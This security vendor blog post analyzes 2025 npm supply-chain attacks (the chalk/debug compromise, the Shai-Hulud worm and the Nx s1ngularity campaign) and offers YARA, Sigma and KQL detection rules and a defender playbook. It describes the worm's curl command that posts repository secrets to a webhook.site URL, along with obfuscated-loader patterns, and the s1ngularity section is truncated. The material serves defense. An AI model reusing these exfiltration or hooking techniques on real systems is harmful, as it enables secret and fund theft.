CymuLab Live: Coming to a city near you!
Register Now
New Gartner® Report: Strategic Roadmap for CTEM
Learn More
Threat Exposure Validation Impact Report 2025
Learn More

npm Under Siege: Worms, Toolchains and the Next Evolution of Supply Chain Attacks

By: Idan Sherman

October 23, 2025

blog illustration npm Under Siege: Worms, Toolchains and the Next Evolution of Supply Chain Attacks

Executive Summary 

npm is the primary package registry for JavaScript. It is a public marketplace where developers publish and install libraries that power websites, services, and developer tools. Because millions of projects automatically pull in dependencies from npm, a malicious or compromised package can cascade across countless applications and build systems.  

In that sense, npm is the “gravitational center” of a huge portion of the software ecosystem: a single trusted source that, if abused, becomes the single biggest point of systemic risk for organizations that depend on those packages. 
 

The open-source JavaScript ecosystem has become one of the most attractive targets for adversaries. In 2025, three incidents reshaped our understanding of supply chain risk in npm: 

  1. The mass compromise of popular npm packages  chalk, debug and others, exposing the risk of single maintainer account takeovers with potential billion-download blast radius. 
  2. The “Shai-Hulud” worm, the first wormable supply chain malware in npm history. 
  3. The “s1ngularity” campaign, an advanced compromise targeting the Nx toolchain with a focus on credential exfiltration. 

Together, these incidents reveal an evolution in threat actor tactics: from simple typosquatting toward wormable malware, supply chain automation abuse and targeted attacks on developer tooling. This blog analyzes these incidents in depth, connects them to broader adversary trends and provides defenders with actionable strategies. 

Additionally, to help organizations move from awareness to action, Cymulate Research Labs transformed these supply chain incidents into three ready-to-launch attack simulations. These assessments empower security teams to immediately test their defenses against real-world attacks, uncover gaps and reinforce resilience, staying one step ahead of the next supply chain threat. 

screenshot of cymulate threat feed

1. Mass C=compromise of high-profile npm packages (September 2025) 

Incident Overview 

On Sept. 8, 2025, a maintainer account compromise led to malicious releases of ~18 high-profile packages (e.g., chalk, debug, ansi-styles, strip-ansi, supports-color) with a billion+ weekly download blast radius. Public reporting and incident writeups attribute the initial access to a convincing npm support phishing that enabled token/2FA reset, followed by rapid malicious publishes. The technical focus of the payloads: browser side crypto theft (Wallet/Web3maninthebrowser).

infographic Global Cybercrime Damages

Step-by-step killchain analysis  

The attacker impersonated npm support via a phishing email, prompting Qix, the npm packages maintainer to update his 2FA credentials and directing him to a fake login page. The email was sent from [email protected], a deceptive domain resembling the legitimate [email protected].  

Phishing Email 

screenshot of phishing email nmp

Fake Login page

screenshot of Fake Login page nmp

Upon entering credentials, the attacker gained access to Junon's npm account and published trojanized updates to 18 packages, including: 

  • chalk (299.99M weekly downloads) 
  • debug (357.6M weekly downloads) 
  • ansi-styles, strip-ansi, supports-color and others with similarly massive download volumes 

The compromised packages have extensive downstream dependencies, with debug alone impacting ~55,000, greatly amplifying the blast radius across the ecosystem. 

Payload analysis 

The injected payload was a browser-based crypto stealer that monkey-patched wallet providers and web APIs. It hooked into window.ethereum (and common injected providers) and overrode fetch and XMLHttpRequest (via XMLHttpRequest.prototype.open/send) to inspect and rewrite outgoing transaction payloads and address strings in real time.

The attacker used heavy obfuscation (dynamic eval/Function constructors, encoded strings) and advanced JavaScript hooking, wrapping native calls and using .apply to forward execution after tampering with arguments to silently replace user addresses with attacker-controlled addresses and redirect funds across multiple wallet integrations and chains. A static review of the Chalk update shows an obfuscated script inserted at line 11 that performs these hooks and remote lookups. 

Obfuscated js payload – raw view 

screenshot of Obfuscated js payload – raw view

Deobfuscated hook core (representative maninthebrowser) 

The de-obfuscated stage rewires key browser interfaces and wallet APIs. We redact destinations and patterns to prevent abuse. 

screenshot of Deobfuscated hook core

Hook breakdown 

  • Wallet layer: Wraps window.ethereum.request to alter eth_sendTransaction and approval flows just-in-time, swapping to/spender under specific regex heuristics. 
  • Network layer: Fetch/XHR wrappers mutate API responses before the UI parses them (e.g., address lists, QR contents, invoice recipients).  
  • Camouflage: Picks lookalike addresses to avoid user suspicion; avoids noisy behaviors; graceful fallbacks. 

Why this payload was effective 

  • Install time trust: A “knowngood” maintainer published it; downstream teams had pinned ranges that accepted the new version. 
  • CI autopull: CI/CD pipelines installed poisoned versions within hours. 
  • Browser stealth: Hooks produced valid-looking responses and transactions. 

Adversary: who likely did this? 

  • Tactics: Phishing + quickturn crypto MItB points to financially motivated operators (more “ecrime crew” than APT). 
  • Tradecraft: Noisy enough to be caught quickly (massscale impact), but the targeting of Web3 flows suggest prior wallethook experience. 
  • Attribution: Public reporting centers on a phishled takeover, not a npm infrastructure breach. (The Register

How this differs from 2018–2022 

  • eventstream (2018): Long dwell and surgical target (Copay). The attacker hid an extra dependency (flatmap-stream) and targeted specific code paths. Today’s campaign is a blunt, wide blast radius via maintainer takeover. (npm Blog
  • UAParser.js (2021): Maintainer account hijack injected miner/stealer payloads, but not browser MItB hooks. Shows recurring singlemaintainer risk. (CISA
  • ctx (2022, PyPI): Demonstrated ecosystemagnostic maintainer/identity weaknesses (domain takeover). Not npm, but proves the pattern repeats across registries. (The Hacker News

Impact 

  • Billions of weekly downloads made this one of the largest scale npm compromises in history. 
  • Enterprises using continuous integration pipelines automatically pull malicious versions within hours of publication. 
  • Forced emergency response across organizations, rotating credentials, pinning versions, and auditing dependency trees. 

Why it matters 

This incident underscored the “single maintainer risk.” Even well-established, widely trusted libraries are vulnerable when their security depends on a single human account. 

How to tell if your organization was impacted 

  1. Dependency & registry sweep: Audit your dependency inventory. Search your package-lock.json, pnpm-lock.yaml, and yarn.lock files, as well as your private/npm artifact registry, for the specific versions you shipped during the exposure window. 
  2. Signals from the field: Review telemetry and support tickets for red flags: failed signing flows, ERC-20 approvals pointing to unknown spenders, or transfers landing at unexpected addresses
  3. On-chain spot check: For users active since 9AM ET on Sept. 8, 2025, compare what your app intended (recipient, amount, allowances) with what actually hit the chain (the to/spender and value). Any drift suggests tampering. 
  4. Built-asset scan (malware fingerprints): Search your most recent JS bundles for behaviors typical of this family (network & wallet hooks, crypto-address regexes, big hard-coded address lists). You’ll also often see a small obfuscator “bootstrap” like this: 
Code snippet showing JS obfuscator bootstrap and search for wallet hooks, crypto regexes, and hard-coded addresses

And short, tell-tale hooks like:

Screenshot showing short JavaScript hooks that indicate suspicious wallet or network activity

Tip: quick greps that frequently hit positives 

  • Object.defineProperty(.*"(responseText|response)") 
  • XMLHttpRequest.prototype.(open|send)\s*= 
  • window\.ethereum\.(request|send|sendAsync)\s*= 
  • bc1|bitcoincash:|0x[0-9a-fA-F]{40} 

Detection logic 

YARA – wallet/network hook patterns 

rule JS_Wallet_Network_Hooks_2025_01_v2 {
    meta:
        description = "Heuristic: wallet/network hook patterns (XHR/fetch/eth) in bundled JS"
        author = "Cymulate Research"
        date = "2025-09-30"

    strings:
        // Obfuscated bootstrap (base64 eval / runtime eval of atob output)
        $b64_eval    = /(Function|eval)\s*\(\s*atob\(/ nocase

        // Network hook patches (XHR / fetch)
        $xhr_patch   = /XMLHttpRequest\.prototype\.(open|send)\s*=\s*(function|\w+)/ nocase
        $fetch_patch = /(window\.)?fetch\s*=\s*(function|\w+)/ nocase

        // Response tampering via defineProperty (responseText/response)
        $resp_defprop = /Object\.defineProperty\([^,]+,\s*"(responseText|response)"/ nocase

        // Wallet APIs (Ethereum provider)
        $eth_req = /window\.ethereum\.(request|send|sendAsync)\s*\(/ nocase

        // Addresses / payment hints
        $addr_eth = /\b0x[0-9a-fA-F]{40}\b/ nocase
        $addr_btc = /\bbc1[ac-hj-np-z02-9]{20,}\b/ nocase

    condition:
        (2 of ($b64_eval, $xhr_patch, $fetch_patch, $resp_defprop, $eth_req))
        and
        ($addr_eth or $addr_btc)
}

Runtime   

Sigma - Sysmon/Windows - Node install spawning network tooling or script eval 

title: Node Install Spawning Network Tooling or Script Eval
id: 8b9b6ab8-8e6b-4b1f-a6a0-a77d5c1d0a99
status: tested
description: Detects npm/node install activity spawning curl/wget or PowerShell, which may indicate malicious post-install scripts or supply-chain abuse.
author: Cymulate Research
date: 2025-09-30
logsource:
  product: windows
  category: process_creation
detection:
  parent_image:
    ParentImage|endswith:
      - '\npm.cmd'
      - '\node.exe'
  parent_cmd:
    ParentCommandLine|contains:
      - ' install '
  child_net_tools:
    Image|endswith:
      - '\curl.exe'
      - '\wget.exe'
      - '\powershell.exe'
  condition: parent_image and parent_cmd and child_net_tools
falsepositives:
  - Legitimate npm packages that download binaries or run PowerShell during install
level: medium
tags:
  - attack.t1059.001
  - attack.t1105

Sigma - Linux – npm install spawning network tooling 

title: NPM Install Spawning Network Tooling (Linux)
id: 3f0d2c3c-8a24-4a3f-9f9c-8e8a0cf3c21
description: Detects npm/node/pnpm/yarn install activity spawning curl/wget or a shell on Linux (possible malicious postinstall).
author: Cymulate Research
date: 2025-09-30
logsource:
  product: linux
  category: process_creation
detection:
  parent_image:
    ParentImage|endswith:
      - '/npm'
      - '/node'
      - '/pnpm'
      - '/yarn'
  parent_cmd:
    ParentCommandLine|contains:
      - ' install '
  child_image:
    Image|endswith:
      - '/curl'
      - '/wget'
      - '/bash'
      - '/sh'
  condition: parent_image and parent_cmd and child_image
falsepositives:
  - Legitimate packages that download native dependencies or run shell scripts during install
level: medium
tags:
  - attack.t1105
  - attack.t1059.004
  - attack.t1059

Microsoft Defender for Endpoint – KQL 

DeviceProcessEvents
| where ActionType == "ProcessCreated"
| where InitiatingProcessFileName has_any ("npm","npm.cmd","node","node.exe","yarn","yarn.cmd","pnpm","pnpm.cmd","npx","npx.cmd")
| where tostring(InitiatingProcessCommandLine) has_any (" install ", " preinstall", " postinstall", " npm i ", " npm ci ", " yarn add ")
| where
    (
        FileName has_any ("curl","curl.exe","wget","wget.exe","powershell.exe","pwsh.exe","bash","sh","cmd.exe")
        or ProcessCommandLine has_any ("http://","https://"," eval(","Function(atob"," atob(")
    )
| where not(ProcessCommandLine has_any ("node-gyp","prebuild-install","node-pre-gyp")) // common benign postinstalls
| summarize count(), devices=dcount(DeviceId) by bin(Timestamp, 1h), InitiatingProcessFileName, FileName

Defensive takeaways 

  • Quarantine bad versions
    Block the affected package versions in your private registry/proxyand pin/override dependencies to known-good releases. 
  • Start from a clean slate
    Blow away caches on both developer machines and CI/CD runners (npm/pnpm/yarn caches, Docker layers, build artifact caches). Rebuild artifacts from scratch to prevent a tainted dependency sneaking back in. 
  • Purge the edge 
    Invalidate/purge all potentially affected JavaScript assets on your CDN so browsers fetch fresh, clean bundles. If you fingerprint assets, ship new hashes to force reloads. 
  • Ship a minimal UI hotfix 
    Enable Subresource Integrity (SRI) and tighten your CSP where feasible. As a precaution, temporarily disable tipping/donation modules and require re-auth for wallet actions until you’re confident the build is clean. 
  • Hunt for signs of tampering 
    Scan recent bundles for suspicious hooks and address patterns, and review telemetry for odd wallet-signing behavior during the window 13:16–~15:15 UTC on Sept. 8, 2025
  • On-chain triage & user comms 
    Automatically flag approvals/transfers to unexpected recipients/spenders in that interval, notify impacted users and guide them to revoke risky approvals and move funds where appropriate. 
  • Keep protections current 
    Update your blocklist daily while the campaign is active. Track newly reported packages/indicators and re-scan builds as new intel arrives. 

2. Shai-Hulud: The First Worm in npm (September 2025) 

Incident overview 

Shai Hulud transformed maintainer accounts and CI automation into a self-replicating distribution network. Unlike the cryptoskimmer wave, this campaign prioritized secrets theft and CI persistence, then republished tainted packages from compromised maintainers, wormlike spread across the graph. Public advisories and media report hundreds of packages, 500+ tainted versions and the telltale creation of public repos named “ShaiHulud” that contained exfiltrated data.json. 

Timeline 

  • Sept. 14, 2025: first observed compromise at 17:58 UTC (published by npm) 
  • Sept. 15–16, 2025: Researchers report a new, distinct npm campaign with self-replicating behavior. Initial counts were ~180–200 affected, later rising to 500+ as scope widened across maintainers. 
  • Sept. 16–19, 2025: Multiple vendors publish analyses linking the campaign’s propagation to secrets theft and malicious GitHub Actions persistence. U.S. CISA issues ecosystem-level guidance (pin to known-safe versions prior to Sept. 16; rotate developer creds).  

Campaign kill-chain 

1. Reconnaissance / targeting 
The attackers pick their marks: high-value npm maintainers and CI systems with broad reach. They hunt for accounts and tokens already exposed by earlier activity, then craft phishing lures and scanners to identify maintainers who can spread the infection far and wide. 

2. Initial access 
A credential is stolen via a phish or a reused token, and the adversary quietly steps into the maintainer’s shoes. With valid GitHub and npm credentials in hand, the attacker no longer needs to guess; they can act as the trusted owner. 

3. Execution 
Malicious postinstall code runs unnoticed on a developer workstation or in CI. What looks like a harmless telemetry or dependency check spins up scripts that begin harvesting secrets and preparing the environment for the next stage. 

4. Credential access & collection 
The worm combs .npmrc files, environment variables, and workflow contexts for npm tokens, GitHub PATs, and cloud API keys. It validates tokens on the spot, confirming which credentials will let it publish or push, and catalogs everything worth stealing. 

5. Persistence & Staging 
Using stolen GitHub tokens, the malware creates a public repository named Shai-Hulud in the victim’s account and dumps harvested secrets into data.json. It also plants a shai-hulud branch and drops GitHub Actions workflows designed to exfiltrate secrets and keep the pipeline running even if defenders pull some strings. 

6. Exfiltration 
The GitHub Actions workflow posts JSON blobs to an attacker-controlled webhook, and workflow logs and public repo commits leak the same data. Even when external exfiltration points are rate-limited or disabled, the secrets persist in places defenders may not immediately think to check. 

Shai-hulud-workflow.yml breakdown 

  • Triggers push events. 
  • Runs a job called process on ubuntu-latest. 
  • In the Data Processing step, it: 
    1. Sends the contents of the CONTENTS environment variable as POST data to https://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7 using curl -d "$CONTENTS". 
    2. Prints CONTENTS to stdout and pipes it through base64 -w 0 twice (double base64 encoding). 
  • CONTENTS is set from to JSON(secrets), i.e., the repository secrets are converted to JSON and placed into the environment variable. 

7. Repo Migration & Public Exposure 
The campaign automates a migration routine using the malicious script /tmp/migrate-repos.sh. Private repos are cloned, renamed with a -migration suffix and republished as public repositories labeled “Shai-Hulud Migration.” Private code and secrets leak into the open for anyone to find. 

8. Propagation 
With validated npm tokens, the worm logs into the registry as the compromised maintainer, finds other packages they own, and injects trojanized code via an updatePackage function. The function downloads a package tarball, unpacks it into a temporary folder, injects a malicious bundle.js and a postinstall entry into package.json, bumps the version, repacks the archive, and publishes the tampered release to npm. Each compromised maintainer becomes a new node in a self-replicating distribution network. The updatePackage function 

9. Exponential spread 
The combination of automated publishing, chained credentials and active maintainer accounts drives rapid scale. Hundreds of packages and 500+ tainted versions are observed as the worm jumps through the dependency graph. 

Impact 

  • Hundreds of packages infected across multiple tiers of the dependency graph. 
  • Developers unknowingly published infected updates, amplifying trust abuse. 
  • Enterprises using unpinned dependencies risked pulling malicious versions into CI/CD pipelines. 
  • Organizations scramble, credentials are rotated, caches rebuilt, and package versions pinned. But the long tail remains, published packages, public repos and workflow logs keep exposing secrets and create a prolonged cleanup and trust-rebuilding effort. 

Payload analysis 

When you strip away the headlines, Shai-Hulud is interesting because it reads like a small, pragmatic offensive toolkit stitched into a npm install hook. It has lightweight bootstrap + hostile capability modules + robust fallbacks. That design makes the code hard to catch with brittle detectors and easy to reuse across different victim environments. 

How the payload is assembled (bootstraps and modules) 

The attacker’s designers favored a two-stage model: 

  1. Tiny, stealthy bootstrap: A few dozen to a couple hundred bytes of obfuscated JavaScript dropped into an install hook. Its job is purely reconnaissance: detect the environment, decide whether to fetch or unpack the heavier payload and avoid noisy behavior on developer laptops. 
  2. Pluggable capability modules: Once the bootstrap “gains confidence”, it unpacks or pulls a larger module that implements harvesting, validation, backdoor installation, exfil logic and publication helpers. These modules are swapped or slightly tweaked across variants, which helps the author avoid signatures. 

Why two stages? A tiny bootstrap minimizes the surface for static scanners and lets the author iterate the heavier logic out-of-band (remote fetch or embedded blob) without republishing big payloads in the open. 

Variant analysis 

The variant code below shows the payload’s core. Collecting validated credentials and contextual metadata, then deciding whether to proceed with more intrusive actions. 

Screenshot describing variant analysis: payload core collecting credentials and metadata, then deciding next actions.

Payload architecture 

  • The payload emphasizes validated tokens and contextual metadata, and it doesn’t exfiltrate blindly. That “validate before abuse” pattern is small but crucial; it reduces noise and maximizes the value of harvested credentials. 
  • The OS gating (isLinux() || isMac()) and the isAuthenticated() checks indicate the code prefers server/CI contexts over noisy personal dev machines. 

1. Tiny bootstrap 

  • A few dozen to hundred bytes of obfuscated JavaScript in a postinstall hook. The purpose - environment reconnaissance and a safe, low-noise gate for the heavier logic. 

2. Pluggable capability modules 

  • Harvesting - files, env, cloud metadata. 
  • Validation - cheap API calls to check token scopes. 
  • Backdoor installation - create/commit workflows. 
  • Multiple exfil channels - HTTP/webhook, SCM commits. 
  • Publishing helpers - unpack tarball → inject bundle.js or postinstall → repack & publish. 

3. Fallbacks & cross-checks 

  • If remote exfil fails, stage artifacts for SCM pickup. 
  • If one provider’s tokens aren’t present, probe additional sources (AWS, Azure, GCP). 
  • Rate-limiting/randomized timing to blend into normal traffic. 

Variant Exfiltration  

  • Rate-limiting/randomized timing to blend into normal traffic. 
  • Once the checks succeed, the malware uses the previously obtained token to query details about the active GitHub account. 
  • It then invokes an extraction routine that writes a temporary bash payload to /tmp/processor.sh. 
  • The payload file is made executable and launched as a separate process. 
  • The token is supplied to that spawned process as a command-line argument. 

The snippet from Securelist shown below has had variable and string names simplified for clarity because the original source was hard to read.

Screenshot of Securelist code snippet with simplified variable and string names for easier readability

Obfuscation & anti-analysis techniques 

The payload uses a blend of common JS obfuscation patterns, but the implementation details are telling and repeatable: 

  • String-array encoding: Human strings (API endpoints, function names) are held in an array and referenced by numeric indices. A simple deobfuscator function converts indexes to strings at runtime. 
  • Base64 + XOR layers: Longer blobs are double encoded and XOR mangled before being evaluated with Function/eval. This makes quick greps for plain strings ineffective. 
  • Control-flow flattening: Large switch/case or computed jumps around small functions to break linear static analysis. 
  • Dynamic require/Function usage: Calls like Function(atob(payload))() or require(String.fromCharCode(...)) hide intent until runtime. 
  • Environment gating: Early checks for CI indicators (presence of CI env vars, cloud metadata responsiveness) and CPU/time checks to avoid execution under emulators or sandboxes. 

Even when the exact obfuscation keys vary, the pattern gives a quick static signal: presence of long base64 arrays + Function or eval + small bootstrap. 

Environmental fingerprinting  

Rather than blind execution, the malware tests for “high-value” contexts: 

  • It probes CI indicators (typical variables), looks for repository metadata files, and checks whether certain useful endpoints respond (e.g., lightweight calls to the provider’s API). 
  • It attempts harmless API calls to validate whether tokens present in the environment are actually capable of performing writes (a low-noise token scope test). Only tokens that pass the lightweight checks are further abused. 

This “proof-of-work” approach reduces wasted exfiltration and focuses effort on credentials that give publish/persistence abilities. 

Secret harvesting & validation  

  1. Targeted file scanning reads well-known files and paths where tokens live (local config files, CI context files, workspace manifests). 
  2. Regex fingerprinting: a curated set of regexes for npm tokens, Git provider tokens and common cloud key formats; then triage by making small, authenticated API calls to confirm privileges. 
  3. Context expansion: in CI it enumerates environment variables and mounted secrets; when running in a container it probes local metadata endpoints to harvest instance roles/credentials. 

That validation step is the difference between noise and abuse and ensures the payload only escalates with credentials that are actually useful. 

Backdoor insertion, CI workflows and script planting 

The payload intentionally aims for execution inside trusted CI contexts: 

  • Workflow insertion: craft a small workflow YAML and commit it to a branch, so CI runs under project privileges (this is high value because CI runners often have broader access). 
  • Helper scripts on filesystem: short shell/node helpers staged in /tmp or ephemeral dirs for later execution. 
  • Tarball injection: replace or add bundle.js in the package artifact and add a postinstall script so the malicious code runs during npm install regardless of runtime imports. 

Example package.json injection: 

screenshot Example package.json injection

# Adding postInstall ensures execution during install lifecycle even if the package’s normal runtime doesn't import the injected file. 

Publication & automation helpers  

The payload contains succinct routines that talk to package registry APIs. Typical behaviors include: 

  • Enumerating package ownership (registry metadata calls) to determine candidate targets. 
  • Programmatically updating manifests to include a tiny “bootstrap” installer. 
  • Posting publish requests with validated tokens, then optionally purging or cleaning local artifacts. 

The code is compact and purpose-built (a few dozen lines per helper) which makes review and forensic attribution easier once you pull the module out of its obfuscation shell. 

Evasion strategies and resiliency 

A few clever touches increase survivability: 

  • Multi-channel exfil fallback: if direct HTTP exfil fails, the module will attempt to stage data for later pickup via SCM commits run by CI. 
  • Rate-limited network usage: randomized headers, variable sleep windows, and exponential backoff to blend into normal traffic. 
  • Polymorphism across variants: small signature-avoiding changes (different base64 keys, renaming helper functions) across releases prevent easy hash-based detection. 

Variant comparison 

Multiple variants of the malware observed in the wild, here is a summary of what differed between observed variants 

1. Cloud provider coverage expanded 

  • Early variants: AWS + Azure secret harvesting. 
  • Later variants: added GCP harvesting. 
    The Effect: Broader credential harvesting increases the number of usable tokens the worm can validate and abuse. 

2. Workflow cleanup removed (tradecraft change) 

  • Version N (earlier): attempted to remove .github/workflows (convert bare to non-bare, delete workflows, re-bare), a noisy cleanup step that destroys certain traces. 
  • Version N+1 (later): removed that cleanup block entirely; workflows were left intact. 
    Effect: Presence vs absence of workflow-deletion commits is a direct indicator of a variant and suggests a change in the actor’s tradecraft (stealth vs persistence tradeoffs). 

3. Tarball injection + postinstall constant 

  • Across all variants the actor injects bundle.js into the package tarball and adds a postinstall script. 
    Effect: This is the universal, structural signature: tarball artifacts that contain new bundle.js files and postinstall entries where none existed before. 

Detection heuristics  

  • Short install hooks invoking Function/eval on decoded arrays/strings. 
  • Large arrays of base64/hex strings in postinstall or runtime files. 
  • Code that does discover → validate → act (i.e., immediate, cheap API calls after seeing candidate tokens). 
  • Postinstall scripts that perform git add/git commit or create files that look like workflows. 
  • Tarballs that contain bundle.js or an unexpected postinstall script. 

A simple detector pattern (pseudo-regex) you can embed in CI scans: 

# looks for Function(atob(... or very long base64 arrays. 

Triage checklist 

Local and build environment 

  • Inspect node_modules/* for unusually small JavaScript files containing Function, eval, or large Base64 arrays. 
  • Search /tmp or other ephemeral build directories for short shell helpers that trigger network activity shortly after install. 
  • Review build logs for even low-volume HTTP calls to domains you don’t normally see. 
  • Verify tarball integrity of suspicious packages by comparing local contents with upstream sources. 

GitHub & CI/CD 

  • Audit GitHub repositories for suspicious names such as shai-hulud. 
  • Check for new or unknown branches, pull requests or files committed unexpectedly (especially during npm install). 
  • Look at GitHub Actions workflow YAMLs created or modified recently, and review Actions logs for strings containing shai-hulud. 

Keys, Tokens & Secrets 

  • Reissue npm tokens, GitHub tokens, and rotate cloud credentials (AWS, GCP, etc.). 
  • Rotate any other embedded or environment secrets that could have been exposed. 

Dependency & Cache Hygiene 

  • Clear npm/yarn/pnpm caches and re-install from a trusted baseline. 
  • Inventory your installed npm modules for malicious or modified versions. 
  • Roll back to clean package versions if compromise is suspected. 

Detection logic 

Yara – pointinstall hooks detection with Shai Hulud indicators

rule NPM_Worm_ShaiHulud_Bootstrap_2025
{
    meta:
        author = "Cymulate Research"
        description = "Detects postinstall hooks that run scripts/bundle or telemetry and other Shai–Hulud indicators"
        date = "2025-09-30"

    strings:
        postinstall = /"postinstall"\s*:\s*"node\s+(\.\/)?(scripts[\/\\])?(bundle|telemetry)\.js"/ nocase
        gh_repo = /Shai[_ ]Hulud/ nocase
        func_atob = /Function\s*\(\s*atob\(/ nocase
        bundle_file = /bundle\.js/ nocase

    condition:
        $postinstall and (1 of ($gh_repo, $func_atob, $bundle_file))
}

Sigma (Linux) - Suspicious GitHub Workflow File Created

title: Suspicious GitHub Workflow File Created (Shai-Hulud Worm)
id: 32dc6a4a-8f8e-4a7a-a7ab-3b9b59c9e202
description: Detects creation or modification of suspicious GitHub Actions workflow files possibly linked to the Shai-Hulud npm worm that abuses CI pipelines to exfiltrate secrets.
author: Cymulate Research
date: 2025-10-21
logsource:
  product: linux
  category: file_event
detection:
  selection:
    TargetFilename|contains: '/.github/workflows/'
    TargetFilename|endswith:
      - 'shai-hulud-workflow.yml'
      - 'shaihulud.yml'
  condition: selection
falsepositives:
  - Legitimate developers creating new workflow files under .github (rare)
level: high
tags:
  - attack.persistence
  - attack.credential-access
  - attack.t1552.001
  - attack.collection
  - attack.t1119

Sigma (Linux) - Shai-Hulud - NPM Package Exfiltration via Curl

title: Shai-HuludNPM Package Exfiltration via Curl
id: b5a83b1e-91b6-4cb8-9f62-1b4cf1f73c31
description: Detects suspicious curl commands from npm or node processes potentially used by the Shai-Hulud worm to exfiltrate data to external webhooks.
author: Cymulate Research
date: 2025-10-21
logsource:
  product: linux
  category: process_creation
detection:
  selection1:
    ParentImage|endswith:
      - '/npm'
      - '/node'
      - '/yarn'
      - '/pnpm'
      - 'npm'
      - 'node'
      - 'yarn'
      - 'pnpm'
  selection2:
    Image|endswith:
      - '/curl'
      - 'curl'
  selection3:
    CommandLine|contains|all:
      - 'curl'
      - '-d'
      - 'webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7'
  condition: selection1 and selection2 and selection3
falsepositives:
  - Legitimate npm packages or scripts that send telemetry to trusted internal endpoints
level: high
tags:
  - attack.exfiltration
  - attack.collection
  - attack.t1041
  - attack.t1005
  - detection.emerging-threats

Malicious postinstall.js / telemetry.js (sanitized)

  • Nx ubiquity in CI/CD gave the actors a single chokepoint to reach many repos. 
  • Delayed execution avoided noisy local testing; CIonly behavior harvested the most valuable tokens. 

Why it matters 

Unlike opportunistic attacks, s1ngularity demonstrated strategic targeting of developer tooling. By compromising build orchestrators like Nx, attackers gained leverage across multiple projects simultaneously. 

Defensive takeaways 

  • Monitor build logs: for unexpected outbound requests during installation. 
  • Harden workflows: disallow install scripts in CI ( npm ci --ignore-scripts) for repos that don’t require them; allowlist only packages that must run scripts. 
  • Block outbound during install: egressallow only artifact registries. 
  • Vault secrets: minimize env exposure; favor OIDC shortlived tokens. 
  • Create a Nx specific canary: fail builds if node_modules/@nrwl/*/package.json gains a new postinstall. 

Comparative analysis: Common threads Across 2025 npm attacks 

Across Shai-Hulud, s1ngularity, and the chalk/debug compromises, several themes stand out: 

  • Credential Compromise: Maintainer accounts phished or stolen to push trojanized updates. 
  • Install-Time Scripts: Malicious postinstall hooks delivered wormable code and secret stealers. 
  • Secrets First: Registry tokens, GitHub creds, and cloud keys are prime objectives. 
  • Automation & Scale: Shai-Hulud self-republished, s1ngularity hid in CI, chalk/debug exploited npm’s massive dependency graph. 

Defender playbook 

  1. Identity Hardening: Enforce hardware-MFA, short-lived OIDC tokens, least-privilege scopes. 
  2. Dependency Governance: Pin via lockfiles, validate hashes, and diff tarballs for new scripts like bundle.js. 
  3. CI/CD Security: Default npm ci --ignore-scripts; sandbox installs; block egress by default. 
  4. Detection & Response: Hunt for anomalous workflow creation, suspicious postinstall, or Function(atob(). Deploy Sigma/YARA in pipelines. 
  5. Triage (Shai-Hulud): Search logs for repos named “Shai-Hulud,” revoke tokens, rebuild artifacts, pin to pre-Sept safe versions. 

Why it matters to boards 

  • SEC: U.S. rules require disclosure of material cyber incidents within four business days of determining materiality; a widespread npm compromise in customer apps could meet this threshold. 
  • EU CRA: From late 2027, vendors of digital products must demonstrate supply-chain security as part of CE conformity. A compromised npm dependency could directly jeopardize compliance. Boards should ask: 
    • Are CI installs locked down by default? 
    • Are builds SLSA-attested and SBOM-verified? 
    • What’s the playbook for judging materiality under SEC and CRA obligations? 

Final word 

2025 proved that npm can host worms, that developer toolchains can be turned against us, and that even the most trusted packages can betray users overnight. The defense isn’t a single vendor control; it’s identity hardening, script minimization, CI egress discipline, attestations and fast IR muscle memory.  

This risk is no longer just a developer’s concern; it’s a boardroom compliance and resilience imperative under SEC rules and the EU CRA

Secure the people and processes around your packages, or your packages will secure the attacker’s goals. 

If you want to stay ahead of the next supply chain attack, contact us to explore our ready-to-launch attack simulations and see how your defenses hold up against the latest real-world techniques. 

Book a Demo

 

Book a Demo